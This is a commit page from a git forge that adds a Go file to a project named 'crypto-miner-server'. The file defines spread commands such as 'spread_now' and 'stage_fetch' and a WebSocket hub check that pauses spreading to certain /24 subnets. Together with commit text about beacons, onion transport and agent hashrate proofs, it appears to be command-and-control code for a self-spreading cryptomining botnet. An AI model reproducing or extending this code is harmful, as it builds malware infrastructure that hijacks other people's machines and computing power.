Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
58
server/internal/api/spread_immunity.go
Normal file
58
server/internal/api/spread_immunity.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
)
|
||||
|
||||
var spreadCommandActions = map[string]bool{
|
||||
"discover_and_join": true,
|
||||
"spread_now": true,
|
||||
"stage_fetch": true,
|
||||
}
|
||||
|
||||
func isSpreadCommandAction(action string) bool {
|
||||
return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
|
||||
}
|
||||
|
||||
func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
|
||||
if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
|
||||
return nil
|
||||
}
|
||||
if h.db != nil && agentID != "" {
|
||||
if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
|
||||
if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
if args != nil {
|
||||
for _, key := range []string{"host", "subnet", "target"} {
|
||||
if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
|
||||
if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetSubnetImmune wires subnet /24 spread pause tracking.
|
||||
func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.subnetImmune = immune
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func spreadImmuneBlockedMessage(err error) string {
|
||||
if err == nil {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("spread blocked: %v", err)
|
||||
}
|
||||
Reference in New Issue
Block a user